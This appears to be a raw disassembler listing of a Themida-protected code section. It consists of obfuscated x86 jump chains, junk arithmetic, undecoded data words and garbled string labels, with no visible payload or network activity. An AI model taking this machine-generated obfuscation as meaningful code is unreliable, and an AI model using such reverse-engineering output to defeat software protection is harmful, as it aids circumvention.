		dd 535537Ch, 5D0E5C85h,	852DF029h, 0FF5D0E5Ch, 0E95E2434h
		dd 0FFFF4C0Eh
dword_567348	dd 0C2D0E9ACh		; DATA XREF: Themida_:0055606Co
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56734E:				; CODE XREF: Themida_:00568262j
		mov	[esp], eax
		mov	al, 36h
		jmp	loc_566138
; ---------------------------------------------------------------------------

loc_567358:				; CODE XREF: Themida_:loc_558711j
		or	edi, 4D16658Ch
		shl	edi, 1
		jns	loc_56D703
		sub	edi, 512696FCh
		mov	ebx, edi
		pop	edi
		jmp	loc_55C2CF
; ---------------------------------------------------------------------------

loc_567374:				; CODE XREF: Themida_:00567424j
		add	eax, edx
		push	ebp
		push	68285DD6h
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_55B686
; ---------------------------------------------------------------------------

loc_56738A:				; CODE XREF: Themida_:00562282j
		push	esp
		pop	ecx
		push	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 62B8109Bh
		and	eax, 75776F85h
		dec	eax
		jge	loc_56872F
		jmp	loc_55684D
; ---------------------------------------------------------------------------
		dd 26E95266h
		db 74h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5673B3:				; CODE XREF: Themida_:0055A516j
		add	ah, 54h
		neg	ah
		jmp	loc_568734
; ---------------------------------------------------------------------------

loc_5673BD:				; CODE XREF: Themida_:00567CCEj
					; Themida_:0056A9ACj
		xor	eax, 9FCEBFDEh
		and	ecx, eax
		mov	eax, [esp]
		jmp	loc_567CF9
; ---------------------------------------------------------------------------
aIHAR_hk	db '┴<$h╨a~r_h┼"',0
		align 2
		dw 489h
		dd 1C1FB824h, 0C701967Ah, 0FF9141E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5673E9:				; CODE XREF: Themida_:00567CD6j
		shl	edx, 1
		jmp	loc_567F8A
; ---------------------------------------------------------------------------

loc_5673F0:				; CODE XREF: Themida_:0056CFD4j
		pop	esp
		push	ebx
		jmp	loc_55B674
; ---------------------------------------------------------------------------

loc_5673F7:				; CODE XREF: Themida_:0055D591j
		pop	eax
		push	edx
		push	esp
		jmp	loc_566824
; ---------------------------------------------------------------------------

loc_5673FF:				; CODE XREF: Themida_:00563243j
		mov	eax, [esp]
		jmp	loc_5642BE
; ---------------------------------------------------------------------------

loc_567407:				; CODE XREF: Themida_:0055F22Dj
		or	ebx, 0E225857h
		jmp	loc_56324D
; ---------------------------------------------------------------------------

loc_567412:				; CODE XREF: Themida_:0055EEE7j
					; Themida_:00569CD7j
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_56741C:				; CODE XREF: Themida_:005653C2j
		mov	bh, 1Ch
		jmp	loc_558DBE
; ---------------------------------------------------------------------------

loc_567423:				; CODE XREF: Themida_:00562EB0j
		pop	esi
		jmp	loc_567374
; ---------------------------------------------------------------------------

loc_567429:				; CODE XREF: Themida_:0055B438j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_567439:				; CODE XREF: Themida_:005636B5j
		xor	ebp, edx
		pop	edx
		not	ebp
		jmp	loc_567C84
; ---------------------------------------------------------------------------

loc_567443:				; CODE XREF: Themida_:00560EF4j
		sub	edx, 46392104h
		add	edx, edi
		add	edx, 46392104h
		push	ecx
		mov	ecx, 3EEF5C70h
		not	ecx
		push	edx
		mov	edx, 58412972h
		add	edx, 0D4F8DEAFh
		add	ecx, edx
		pop	edx
		neg	ecx
		add	ecx, 264A2392h
		add	edx, ecx
		jmp	loc_5630B3
; ---------------------------------------------------------------------------

loc_567477:				; CODE XREF: Themida_:0055A446j
					; Themida_:00568E24j
		mov	edi, [esp]
		add	esp, 4
		xor	edx, eax
		pop	eax
		sub	edx, ebp
		jmp	loc_55BEF6
; ---------------------------------------------------------------------------
		db 68h
		dd 71E2h, 0BF243C89h, 74463E60h, 0D13013B8h, 75E953BDh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56749F:				; CODE XREF: Themida_:0055FDB3j
		mov	[esp], edx
		jmp	loc_5669C4
; ---------------------------------------------------------------------------
		db 4Eh
		dd 0E5168A0Fh, 0E681FFFFh, 647B6353h, 87F78A0Fh, 0BB53FFFFh
		dd 23A69FDh, 814BD3F7h,	526B1CE3h, 608CE909h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5674CE:				; CODE XREF: Themida_:00556650j
		add	ebp, 4B2E1421h
		sub	ebp, ecx
		sub	ebp, 4B2E1421h
		pop	ecx
		mov	ecx, ebp
		pop	ebp
		sub	ecx, 34FE6A12h
		add	ecx, ebx
		add	ecx, 34FE6A12h
		jmp	loc_56A2E0
; ---------------------------------------------------------------------------

loc_5674F3:				; CODE XREF: Themida_:0055FB07j
		push	ecx
		mov	ecx, 85C7AE97h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, ebp
		pop	ebp
		jmp	loc_56CAD0
; ---------------------------------------------------------------------------
byte_567511	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005560D0o
		dd 3552E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56751A:				; CODE XREF: Themida_:005631A8j
		xor	edx, 9591C1B3h
		xor	edi, edx
		pop	edx
		jmp	loc_55CF16
; ---------------------------------------------------------------------------

loc_567528:				; CODE XREF: Themida_:0055E438j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55F0E3
; ---------------------------------------------------------------------------

loc_567552:				; CODE XREF: Themida_:0055B7CBj
		pop	edx
		push	5887h
		mov	[esp], ecx
		push	edx
		mov	edx, 545B0464h
		shl	edx, 1
		xor	edx, ebp
		xor	ebp, edx
		xor	edx, ebp
		dec	ebp
		jmp	loc_569909
; ---------------------------------------------------------------------------

loc_56756F:				; CODE XREF: Themida_:0055CA32j
		push	6000h
		mov	[esp], esi
		jmp	loc_5661CC
; ---------------------------------------------------------------------------

loc_56757C:				; CODE XREF: Themida_:0055D6DCj
		or	ebx, 7AC8639Eh
		js	loc_55FE0B
		sub	esp, 4
		mov	[esp], ebx
		not	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		jmp	loc_559A59
; ---------------------------------------------------------------------------
		dd 81243C8Bh, 4C4h, 53E9E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5675AE:				; CODE XREF: Themida_:00566C53j
		add	edi, edx
		push	eax
		push	edi
		jmp	loc_55B7FD
; ---------------------------------------------------------------------------

loc_5675B7:				; CODE XREF: Themida_:0056CB32j
		sub	eax, 96B7B4D9h
		add	edx, eax
		pop	eax
		sub	edx, 4
		push	edx
		jmp	loc_566722
; ---------------------------------------------------------------------------

loc_5675C8:				; CODE XREF: Themida_:00556D44j
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_56977A
; ---------------------------------------------------------------------------
		dw 2BDh
		dd 89000000h, 242C8BEAh, 2D04C483h, 60BC4E37h, 3705D001h
		dd 0FF60BC4Eh, 51E92434h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_567607:				; CODE XREF: Themida_:00558999j
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		div	cl
		jmp	loc_56D008
; ---------------------------------------------------------------------------

loc_567613:				; CODE XREF: Themida_:0055FA97j
		dec	esi
		and	esi, 78185A10h
		add	esi, 5C4CC9EBh
		jmp	loc_561F00
; ---------------------------------------------------------------------------

loc_567625:				; CODE XREF: Themida_:0056C784j
		push	eax
		push	edx
		mov	dl, 4Dh
		mov	ah, dl
		jmp	loc_5598BD
; ---------------------------------------------------------------------------
		dd 0E9DBF759h, 0FFFF986Ah, 1703D6BEh, 0FFF00137h, 835E2434h
		dd 0BBE904ECh, 53FFFF7Eh, 2BBh,	6DBD5500h, 0E9762271h
		dd 0FFFF4BDFh
; ---------------------------------------------------------------------------

loc_56765C:				; CODE XREF: Themida_:0055E546j
		add	eax, 768A7097h
		mov	ecx, [eax]
		pop	eax
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp]
		pop	edx
		push	57E9h
		jmp	loc_55EECD
; ---------------------------------------------------------------------------
		dd 413B82B9h, 6DE1813Fh, 51097F4Bh, 592414F7h, 19568h
		dd 242C8900h, 576A6850h, 0F7586B96h, 0B58F0FD8h, 2DFFFEF3h
		dd 8B289D93h, 48BC589h,	4C48324h, 815DE901h, 882E79C7h
		dd 68CF0118h, 4CC5h, 0BE243489h, 7CA21732h, 1BD5546h, 0E9722422h
		dd 0FFFF1D83h
; ---------------------------------------------------------------------------

loc_5676D4:				; CODE XREF: Themida_:005692B3j
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_5562E7
; ---------------------------------------------------------------------------
dword_5676E0	dd 241CF766h, 0A902E99Ch, 0ECC0FFFFh, 0B1516608h, 66CC2872h
					; DATA XREF: Themida_:005560C8o
		dd 53240C8Bh, 9FE9E389h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5676FF:				; CODE XREF: Themida_:00561127j
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_560814
; ---------------------------------------------------------------------------
		db 0Dh
		dd 58A81825h, 4642BE56h, 0F6813FD9h, 0D042ADCh,	0FFCDADE9h
		dd 0E95066FFh, 0FFFFD118h, 4C481h, 50520000h, 139DE9h
		db 0
; ---------------------------------------------------------------------------

loc_567735:				; CODE XREF: Themida_:0056C11Cj
		pop	ebx
		xor	bl, al
		movzx	eax, al
		mov	dx, [esp]
		jmp	loc_55B74C
; ---------------------------------------------------------------------------

loc_567744:				; CODE XREF: Themida_:00560314j
		not	ebx
		push	edi
		mov	edi, 0D1DACB5Ah
		jmp	loc_568CE8
; ---------------------------------------------------------------------------

loc_567751:				; CODE XREF: Themida_:0056433Dj
		mov	ch, al
		pop	eax
		mov	[edi+eax*4+1], ch
		jmp	loc_55EC20
; ---------------------------------------------------------------------------

loc_56775D:				; CODE XREF: Themida_:loc_5590C3j
		and	ebx, 7AC2343Bh
		jl	loc_561796
		push	ebp
		mov	ebp, 0C0000060h
		jmp	loc_568383
; ---------------------------------------------------------------------------
		dd 24048F5Fh, 8924248Bh, 7CE9242Ch, 8BFFFF2Bh, 0C4832404h
		dd 8BC80104h, 0C483240Ch, 24048704h, 124248Bh, 0E99C2404h
		dd 0FFFFB655h
; ---------------------------------------------------------------------------

loc_5677A0:				; CODE XREF: Themida_:0056B2AFj
		add	esi, edi
		pop	edi
		sub	esi, 4
		jmp	loc_5630D0
; ---------------------------------------------------------------------------

loc_5677AE:				; CODE XREF: Themida_:00558F70j
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5647FC
; ---------------------------------------------------------------------------

loc_5677C3:				; CODE XREF: Themida_:00556CFAj
		jns	loc_5695E5
		shl	ecx, 4
		push	edx
		mov	edx, 16485144h
		pop	esp

loc_5677D3:				; CODE XREF: Themida_:00561607j
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	esi
		mov	esi, 2
		jmp	loc_55EE83
; ---------------------------------------------------------------------------

loc_5677E9:				; CODE XREF: Themida_:005598C4j
		push	ebx
		jmp	loc_558482
; ---------------------------------------------------------------------------
		db 4
aSu		db '|ИU',8,0
		align 2

loc_5677F6:				; CODE XREF: Themida_:005666C8j
		neg	ebx
		sub	ebx, 0DAFE765Ah
		jmp	loc_556F0C
; ---------------------------------------------------------------------------

loc_567803:				; CODE XREF: Themida_:0056A523j
		mov	[esp], esp
		jmp	loc_56194D
; ---------------------------------------------------------------------------
aN1Sc		db '╜1ьИC',27h,0        ; DATA XREF: Themida_:00556134o
		db 0
; ---------------------------------------------------------------------------

loc_567813:				; CODE XREF: Themida_:loc_55B972j
		shl	ecx, 1
		jnp	loc_559493
		add	ecx, 29A5C4FCh
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]

loc_567827:				; CODE XREF: Themida_:00562156j
		add	esp, 4
		jmp	loc_556E22
; ---------------------------------------------------------------------------

loc_56782F:				; CODE XREF: Themida_:005695BDj
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_565FE2
; ---------------------------------------------------------------------------
		db 47h,	0E9h, 9Ch
		dd 5CFFFFC1h, 0B8240489h, 505C6934h, 48BC231h, 4C48124h
		dd 0E9000000h, 34FDh, 1C03C381h, 6FE97E51h
		db 0F9h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_567867:				; CODE XREF: Themida_:00559C88j
		xchg	eax, esi
		sub	eax, 70F330F4h
		js	loc_558043
		jmp	loc_5662BA
; ---------------------------------------------------------------------------
		dd 0AD68212Dh, 0B230512h, 90E94AA7h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_567887:				; CODE XREF: Themida_:0056939Dj
		add	edi, 0CBCED1C8h
		push	0EB5h
		mov	[esp], eax
		mov	eax, 0E4E3595h
		add	eax, 68F251B8h
		add	eax, 0B765F4D5h
		sub	ecx, eax
		jmp	loc_559985
; ---------------------------------------------------------------------------

loc_5678AB:				; CODE XREF: Themida_:0056D3F1j
		push	ebx
		jmp	loc_55A0BF
; ---------------------------------------------------------------------------

loc_5678B1:				; CODE XREF: Themida_:00562F2Dj
		mov	[esp], edi
		pop	ebx
		jmp	loc_55CE38
; ---------------------------------------------------------------------------

loc_5678BA:				; CODE XREF: Themida_:0056436Cj
		pop	esp
		jmp	loc_56B952
; ---------------------------------------------------------------------------

loc_5678C0:				; CODE XREF: Themida_:0055D61Aj
					; Themida_:0056440Cj
		sub	esi, ecx
		pop	ecx
		jmp	loc_5588D9
; ---------------------------------------------------------------------------

loc_5678C8:				; CODE XREF: Themida_:00558664j
		pop	esp
		sub	edx, 7C9672E6h
		sub	edx, ebp
		push	1513h
		mov	[esp], edi
		push	ebp
		jmp	loc_55FBE9
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0DD02B92h, 5602EFC1h, 0FF8CD2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5678ED:				; CODE XREF: Themida_:00564D70j
		push	73C3h
		mov	[esp], eax
		push	ebp
		push	ecx
		mov	ecx, 7E2563C4h
		mov	ebp, 6CB67F6Ah
		jmp	loc_55D7C3
; ---------------------------------------------------------------------------

loc_567906:				; CODE XREF: Themida_:0056184Aj
		mov	[esp], esp
		push	esi
		mov	esi, 4
		jmp	loc_55E5CC
; ---------------------------------------------------------------------------

loc_567914:				; CODE XREF: Themida_:0055931Dj
		add	ebx, edi
		add	ebx, 2E286D2Ah
		push	ecx
		mov	ecx, 0
		add	ecx, 40E7510Dh
		jmp	loc_556F49
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C6h
		dd 4, 7F6E68h, 24148900h, 0FF9D14E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567941:				; CODE XREF: Themida_:0055682Bj
		mov	[esp], edx
		push	esp
		pop	edx
		push	7B64h
		jmp	loc_556747
; ---------------------------------------------------------------------------

loc_567950:				; CODE XREF: Themida_:005619A5j
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		push	2612h
		jmp	loc_557F9C
; ---------------------------------------------------------------------------

loc_567964:				; CODE XREF: Themida_:0055A114j
		add	al, dl
		sub	al, 0F6h
		pop	edx
		sub	bl, 43h
		sub	bl, al
		add	bl, 43h
		pop	eax
		push	ax
		mov	ah, 0A3h
		add	bl, ah
		jmp	loc_569ED8
; ---------------------------------------------------------------------------

loc_56797D:				; CODE XREF: Themida_:00569140j
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	dl, 0E0h
		mov	bh, 88h
		jmp	loc_563FE4
; ---------------------------------------------------------------------------

loc_56798E:				; CODE XREF: Themida_:00566C05j
		add	esi, 38D731F6h
		jmp	loc_569DAC
; ---------------------------------------------------------------------------

loc_567999:				; CODE XREF: Themida_:0055A071j
		shr	ebp, 5
		xor	ebp, 5E995568h
		add	ebp, 14F867F0h
		not	ebp
		add	ebp, 6D357271h
		mov	ecx, ebp
		pop	ebp
		sub	ebp, ecx
		pop	ecx
		jmp	loc_55CC84
; ---------------------------------------------------------------------------

loc_5679BB:				; CODE XREF: Themida_:0056B7C8j
		and	ebp, 3C692D72h
		jmp	loc_557922
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 1BD554Fh, 1000000h, 0B52E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5679D6:				; CODE XREF: Themida_:00559707j
		add	esp, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_55A7BD
; ---------------------------------------------------------------------------

loc_5679F6:				; CODE XREF: Themida_:00565A64j
		mov	[esp], ecx
		push	39942F25h
		mov	ecx, [esp]
		add	esp, 4
		inc	ecx
		jmp	loc_56A3C6
; ---------------------------------------------------------------------------

loc_567A0A:				; CODE XREF: Themida_:0055A209j
		shr	eax, 5
		not	eax
		and	eax, 2CD0023Bh
		inc	eax
		sub	eax, 2C800020h
		add	edi, eax
		jmp	loc_558C3B
; ---------------------------------------------------------------------------

loc_567A21:				; CODE XREF: Themida_:0055B55Fj
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		add	ebx, 2
		jmp	loc_5600B7
; ---------------------------------------------------------------------------

loc_567A35:				; CODE XREF: Themida_:0055A7EDj
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_5633C3
; ---------------------------------------------------------------------------

loc_567A47:				; CODE XREF: Themida_:0055F009j
		shl	eax, 1
		add	eax, 75529DFh
		add	eax, 7A1D3DBBh
		dec	eax
		jmp	loc_562170
; ---------------------------------------------------------------------------

loc_567A59:				; CODE XREF: Themida_:0056BCC0j
		push	ecx
		mov	cl, 33h
		and	cl, 19h
		shl	cl, 2
		jmp	loc_567EE9
; ---------------------------------------------------------------------------

loc_567A67:				; CODE XREF: Themida_:0055B29Cj
		sub	esi, 0FFFFFFFFh
		shl	esi, 8
		or	esi, 5D3519F5h
		neg	esi
		jmp	loc_557826
; ---------------------------------------------------------------------------

loc_567A7A:				; CODE XREF: Themida_:00562B30j
		add	eax, edx
		sub	eax, 390F6D75h
		sub	eax, 53650E47h
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 76715DC6h
		sub	ebx, esi
		pop	esi
		jmp	loc_55B452
; ---------------------------------------------------------------------------

loc_567A9A:				; CODE XREF: Themida_:005626A5j
		sub	ebp, 0F3990F17h
		jmp	loc_55ECD0
; ---------------------------------------------------------------------------

loc_567AA5:				; CODE XREF: Themida_:loc_559B2Cj
		dec	ecx
		or	ecx, 2C8D1C22h
		jge	loc_55EA9B
		push	41F7h
		mov	[esp], ebx
		jmp	loc_565978
; ---------------------------------------------------------------------------
byte_567ABF	db 0FFh			; DATA XREF: Themida_:00556130o
		dd 48B2434h, 4C48324h, 281068h,	24148900h, 79EF68h, 40C1E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567ADA:				; CODE XREF: Themida_:0056C1A9j
		add	ebx, edi
		sub	ebx, 2B607C5Dh
		pop	edi
		push	18EBh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_565870
; ---------------------------------------------------------------------------

loc_567AFB:				; CODE XREF: Themida_:00568FA2j
		add	eax, 0B2BA9355h
		sub	esi, 3C7C3AE7h
		add	esi, eax
		jmp	loc_565D4D
; ---------------------------------------------------------------------------

loc_567B0D:				; CODE XREF: Themida_:0056AF90j
		push	ebx
		push	esp
		jmp	loc_55A46B
; ---------------------------------------------------------------------------
		dd 0C121F1BFh, 0B9B6E961h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567B1E:				; CODE XREF: Themida_:0056A308j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_556B30
; ---------------------------------------------------------------------------
		db 81h
		dd 5B96AFEDh, 5DEE29BEh, 0FFC055Ah, 0F00121B0h,	3ACCBB53h
		dd 0D3F70844h, 0B537EB81h, 3105D60Bh, 0E90C4701h, 0FFFF1DF9h
; ---------------------------------------------------------------------------

loc_567B58:				; CODE XREF: Themida_:0056216Bj
		jp	loc_56B17F
		push	cx
		push	eax
		mov	al, 9Eh
		sub	al, 0E1h
		jmp	loc_561F41
; ---------------------------------------------------------------------------

loc_567B6A:				; CODE XREF: Themida_:0055E938j
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	5A8Eh
		mov	[esp], ebx
		push	14D3h
		mov	[esp], ebp
		push	2E556FC2h
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_558E8B
; ---------------------------------------------------------------------------

loc_567B95:				; CODE XREF: Themida_:005622D8j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		jmp	loc_562486
; ---------------------------------------------------------------------------

loc_567BA5:				; CODE XREF: Themida_:loc_56A5C6j
		jmp	loc_5576A0
; ---------------------------------------------------------------------------

loc_567BAA:				; CODE XREF: Themida_:005697FEj
		mov	[esp], eax
		mov	eax, 6E79048Ch
		add	ebp, 40917570h
		sub	ebp, eax
		sub	ebp, 40917570h
		jmp	loc_56687D
; ---------------------------------------------------------------------------
		db 0BEh, 89h, 54h
		dd 0F0012763h, 26C62D5Eh, 0C68909FFh, 464CE9h
		db 0
; ---------------------------------------------------------------------------

loc_567BD9:				; CODE XREF: Themida_:00564E88j
		or	bh, 0C3h
		shl	bh, 6
		sub	bh, 4Fh
		add	dl, bh
		pop	ebx
		push	eax
		jmp	loc_5590EA
; ---------------------------------------------------------------------------

loc_567BEB:				; CODE XREF: Themida_:00565326j
		push	esi
		mov	esi, esp
		jmp	loc_55FABA
; ---------------------------------------------------------------------------

loc_567BF3:				; CODE XREF: Themida_:005657C2j
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_56D40F
; ---------------------------------------------------------------------------

loc_567C00:				; CODE XREF: Themida_:0055A044j
		sub	ebx, eax
		jmp	loc_56D039
; ---------------------------------------------------------------------------
		db 50h
		dd offset dword_43DEFC+256Ch
		dd 9000E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567C12:				; CODE XREF: Themida_:00566143j
		mov	ah, 0A6h
		mov	dl, ah
		pop	ax
		shl	dl, 7
		jmp	loc_556993
; ---------------------------------------------------------------------------

loc_567C20:				; CODE XREF: Themida_:0056D5A8j
		xor	ebx, [esp]
		pop	esp
		jmp	loc_559D2F
; ---------------------------------------------------------------------------
		db 1, 0C7h, 58h
		dd 5585450h, 4,	42Dh, 31B0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567C3E:				; CODE XREF: Themida_:0056077Ej
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_559779
; ---------------------------------------------------------------------------

loc_567C49:				; CODE XREF: Themida_:00569643j
		pop	esi
		neg	esi
		jle	loc_55B2F8
		sub	esi, 8F82DE5Dh
		mov	edi, esi
		pop	esi
		mov	esi, edi
		push	ecx

loc_567C5E:				; CODE XREF: Themida_:0056A89Cj
		push	3F2C169Bh
		pop	ebp
		shr	ebp, 1
		jmp	loc_568310
; ---------------------------------------------------------------------------

loc_567C6B:				; CODE XREF: Themida_:00558F1Ej
		push	ebx
		mov	ebx, 52AA5978h
		and	ebx, 5A745BBAh
		jmp	loc_559F1B
; ---------------------------------------------------------------------------

loc_567C7C:				; CODE XREF: Themida_:00557C92j
		mov	[esp], ecx
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_567C84:				; CODE XREF: Themida_:0056743Ej
		push	esi
		push	eax
		jmp	loc_56B91C
; ---------------------------------------------------------------------------

loc_567C8B:				; CODE XREF: Themida_:00562E3Dj
		dec	edx
		jg	loc_559173
		jmp	loc_56CDC4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2DB52414h
; ---------------------------------------------------------------------------

loc_567C9C:				; CODE XREF: Themida_:00562E6Dj
		sub	esp, 4
		mov	[esp], ecx
		push	2F1Fh
		mov	[esp], ebp
		jmp	loc_55FAAB
; ---------------------------------------------------------------------------

loc_567CB2:				; CODE XREF: Themida_:0056AE7Dj
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		jmp	loc_556D33
; ---------------------------------------------------------------------------

loc_567CBF:				; CODE XREF: Themida_:0055B2E5j
		push	dword ptr [esp]
		jmp	loc_55A3B2
; ---------------------------------------------------------------------------

loc_567CC7:				; CODE XREF: Themida_:00562599j
		not	eax
		neg	eax
		inc	eax
		neg	eax
		jmp	loc_5673BD
; ---------------------------------------------------------------------------

loc_567CD3:				; CODE XREF: Themida_:0055C38Bj
		pop	esp
		or	edx, eax
		jmp	loc_5673E9
; ---------------------------------------------------------------------------
byte_567CDB	db 83h			; DATA XREF: Themida_:005561B8o
		dd 48904ECh, 16824h, 9580000h, 34FF1C47h, 0EC835824h, 241C8904h
		dd 0FFB3AFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567CF9:				; CODE XREF: Themida_:005673C7j
		add	esp, 4
		not	ecx
		push	ecx
		inc	dword ptr [esp]
		pop	ecx
		xor	ecx, 81C6D353h
		push	ecx
		pop	eax
		pop	ecx
		sub	eax, 5FCF4FF5h
		jmp	loc_55DFB8
; ---------------------------------------------------------------------------

loc_567D19:				; CODE XREF: Themida_:0056B470j
		push	484735BAh
		jmp	loc_55AC28
; ---------------------------------------------------------------------------
		db 83h
		dd 0E68104C4h, 239655D4h, 8904EC83h, 0BB532404h, 21342A8Ch
		dd 23F1E381h, 0D3F74C63h, 53E6CB81h, 0DBF70589h, 2221F381h
		dd 0D889481Fh, 19A355Bh, 33353571h, 1507C42h, 464658C6h
		dd 0FFF1C9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567D65:				; CODE XREF: Themida_:00557EEEj
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_564E04
; ---------------------------------------------------------------------------

loc_567D7C:				; CODE XREF: Themida_:0055F393j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_559793
; ---------------------------------------------------------------------------

loc_567D9C:				; CODE XREF: Themida_:0055B63Aj
		add	esp, 4
		add	ecx, esi
		pop	esi
		pop	esi
		jmp	loc_55D3CA
; ---------------------------------------------------------------------------

loc_567DA8:				; CODE XREF: Themida_:0055C909j
		mov	edx, [esp]
		jmp	loc_55CF6B
; ---------------------------------------------------------------------------
		dd 5758C731h, 4F240481h, 5A5F4914h, 144FEA81h, 555F5F49h
		dd 10D9E9h, 33B46800h, 34890000h, 838BE24h, 895239FDh
		dd 5AD189F2h, 0FF8722E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567DE1:				; CODE XREF: Themida_:0055DBC0j
		mov	[esp], eax
		jmp	loc_5562E7
; ---------------------------------------------------------------------------

loc_567DE9:				; CODE XREF: Themida_:0055A636j
		dec	esi
		sub	esi, 1
		dec	esi
		push	eax
		push	ebp
		mov	ebp, 7FBF317Ah
		shl	ebp, 2
		jns	loc_55808D
		dec	ebp
		sub	ebp, 70271725h
		jge	loc_56AAE4
		sub	ebp, 418D427Ah
		add	ebp, 0DC22A457h
		mov	eax, ebp
		pop	ebp
		add	eax, 7455716h
		jmp	loc_5591C9
; ---------------------------------------------------------------------------

loc_567E27:				; CODE XREF: Themida_:00558839j
		mov	edx, 2
		sub	ebx, 68147CE0h
		add	ebx, edx
		add	ebx, 68147CE0h
		push	dword ptr [esp]
		jmp	loc_55ABA3
; ---------------------------------------------------------------------------

loc_567E42:				; CODE XREF: Themida_:0056062Fj
		xor	dword ptr [esp], 7F036DA3h
		jmp	loc_55B9D7
; ---------------------------------------------------------------------------
		dw 489h
		dd 9029E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567E56:				; CODE XREF: Themida_:0056D664j
		and	esi, 43011CC9h
		jmp	loc_560EB8
; ---------------------------------------------------------------------------
byte_567E61	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00556220o
		dd 54515524h, 33B85059h, 2D08F065h, 8F0652Fh, 8158C101h
		dd 4E9h, 240C8700h, 2424895Ch, 4240483h, 0FF9DD0E9h, 51D029FFh
		dd 443603B9h, 47C18105h, 2946B01Ch, 240C8BC8h, 5A04C483h
		dd 0FF1408E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567EA9:				; CODE XREF: Themida_:005628F9j
		push	edi
		mov	edi, ebp
		jmp	loc_55D4EA
; ---------------------------------------------------------------------------

loc_567EB1:				; CODE XREF: Themida_:0055CB55j
		push	eax
		mov	eax, 411224D7h
		dec	eax
		not	eax
		jmp	loc_562DFA
; ---------------------------------------------------------------------------

loc_567EBF:				; CODE XREF: Themida_:00569ECAj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5695A2
; ---------------------------------------------------------------------------
		dw 0F75Ah
		dd 1CE281DAh, 5630E72Ch, 840014BEh, 5EF23120h, 0FF28DBE9h
		db 0FFh
; ---------------------------------------------------------------------------

